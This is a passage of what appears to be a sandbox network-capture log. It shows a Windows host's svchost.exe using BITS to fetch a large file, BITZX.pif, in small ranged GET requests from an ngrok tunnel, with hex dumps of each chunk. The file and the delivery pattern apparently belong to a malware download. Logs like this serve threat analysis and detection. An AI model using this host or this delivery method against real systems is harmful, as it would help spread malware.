2025-01-15 14:27:44 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 25 Content-Range: bytes 22703-22727/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:44 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:44 UTC	25	IN	Data Raw: 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 Data Ascii: 00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.11.20	49862	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:46 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=22728-22860 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:47 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 133 Content-Range: bytes 22728-22860/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:47 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:47 UTC	133	IN	Data Raw: 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 04 00 04 00 00 00 00 Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.11.20	49863	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:50 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=22861-23044 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:51 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 184 Content-Range: bytes 22861-23044/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:50 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:51 UTC	184	IN	Data Raw: 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 Data Ascii: 00000000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.11.20	49864	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:53 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=23045-23212 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:54 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 168 Content-Range: bytes 23045-23212/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:53 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:54 UTC	168	IN	Data Raw: 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 0b 00 04 00 00 00 00 Data Ascii: 00000000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.11.20	49865	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:27:57 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=23213-23382 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:27:57 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 170 Content-Range: bytes 23213-23382/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:27:57 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:27:57 UTC	170	IN	Data Raw: 00 00 00 00 00 14 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 0b 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 07 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 Data Ascii: 0000000000*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.11.20	49866	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:00 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=23383-23554 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:00 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 172 Content-Range: bytes 23383-23554/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:00 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:00 UTC	172	IN	Data Raw: 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 07 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 16 Data Ascii: 0000000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.11.20	49867	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:03 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=23555-23641 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:03 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 87 Content-Range: bytes 23555-23641/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:02 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:03 UTC	87	IN	Data Raw: 2a 12 00 00 17 2a 00 00 00 13 30 06 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 17 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 Data Ascii: *00.(C(9*00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.11.20	49868	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:06 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=23642-23661 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:06 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 20 Content-Range: bytes 23642-23661/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:05 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:06 UTC	20	IN	Data Raw: 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 Data Ascii: *0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.11.20	49869	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:10 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=23662-23802 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:10 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 141 Content-Range: bytes 23662-23802/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:10 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:10 UTC	141	IN	Data Raw: 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 Data Ascii: 0.(C(9**0000.(C(9*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.11.20	49870	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:14 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=23803-24121 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:14 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 319 Content-Range: bytes 23803-24121/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:14 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:14 UTC	319	IN	Data Raw: 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 Data Ascii: 0000.(C(9*0000.(C(9*0000*.(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.11.20	49871	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:18 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=24122-24280 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:18 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 159 Content-Range: bytes 24122-24280/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:18 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:18 UTC	159	IN	Data Raw: 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 Data Ascii: 0.(C(9**0000.(C(9**0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.11.20	49872	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:21 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=24281-24371 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:21 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 91 Content-Range: bytes 24281-24371/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:21 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:21 UTC	91	IN	Data Raw: 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 Data Ascii: 000.(C(9***0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.11.20	49873	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:24 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=24372-24573 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:24 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 202 Content-Range: bytes 24372-24573/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:24 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:24 UTC	202	IN	Data Raw: 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 Data Ascii: 000.(C(9**0000.(C(9*00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.11.20	49874	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:27 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=24574-24682 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:27 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 109 Content-Range: bytes 24574-24682/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:27 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:27 UTC	109	IN	Data Raw: 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 Data Ascii: 00.(C(9*00*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.11.20	49875	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:30 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=24683-24817 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:31 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 135 Content-Range: bytes 24683-24817/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:30 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:31 UTC	135	IN	Data Raw: 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 Data Ascii: 0.(C(9**0000.(C(9**

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.11.20	49876	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:34 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=24818-24927 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:35 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 110 Content-Range: bytes 24818-24927/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:34 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:35 UTC	110	IN	Data Raw: 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a Data Ascii: 0000.(C(9**0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.11.20	49877	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:37 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=24928-25104 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:37 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 177 Content-Range: bytes 24928-25104/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:37 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:37 UTC	177	IN	Data Raw: 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 Data Ascii: 000.(C(9*0000.(C(9**0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.11.20	49878	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:40 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=25105-25298 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:41 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 194 Content-Range: bytes 25105-25298/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:40 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:41 UTC	194	IN	Data Raw: 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 Data Ascii: 000.(C(9**0000.(C(9*00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.11.20	49879	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:43 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=25299-25507 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:44 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 209 Content-Range: bytes 25299-25507/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:43 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:44 UTC	209	IN	Data Raw: 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 Data Ascii: 00.(C(9*0000.(C(9*00*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.11.20	49880	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:46 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=25508-25699 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
